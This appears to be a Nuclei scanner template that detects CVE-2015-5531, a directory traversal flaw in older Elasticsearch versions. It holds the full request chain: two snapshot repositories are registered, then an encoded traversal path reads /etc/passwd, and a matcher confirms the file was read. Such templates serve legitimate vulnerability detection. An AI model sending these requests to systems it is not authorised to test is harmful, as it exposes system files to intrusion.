id: CVE-2015-5531

info:
  name: ElasticSearch directory traversal vulnerability (CVE-2015-5531)
  author: princechaddha
  severity: high
  description: Directory traversal vulnerability in Elasticsearch before 1.6.1 allows remote attackers to read arbitrary files via unspecified vectors related to snapshot API calls.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2015-5531
    - https://nvd.nist.gov/vuln/detail/CVE-2015-5531
    - http://packetstormsecurity.com/files/132721/Elasticsearch-Directory-Traversal.html
    - https://www.elastic.co/community/security/
  classification:
    cve-id: CVE-2015-5531
  tags: cve,cve2015,elasticsearch

requests:
  - raw:
      - |
        PUT /_snapshot/test HTTP/1.1
        Host: {{Hostname}}

        {
            "type": "fs",
            "settings": {
                "location": "/usr/share/elasticsearch/repo/test"
            }
        }

      - |
        PUT /_snapshot/test2 HTTP/1.1
        Host: {{Hostname}}

        {
            "type": "fs",
            "settings": {
                "location": "/usr/share/elasticsearch/repo/test/snapshot-backdata"
            }
        }

      - |
        GET /_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd  HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'ElasticsearchParseException'
          - 'Failed to derive xcontent from'
          - '114, 111, 111, 116, 58'
        condition: and

      - type: status
        status:
          - 400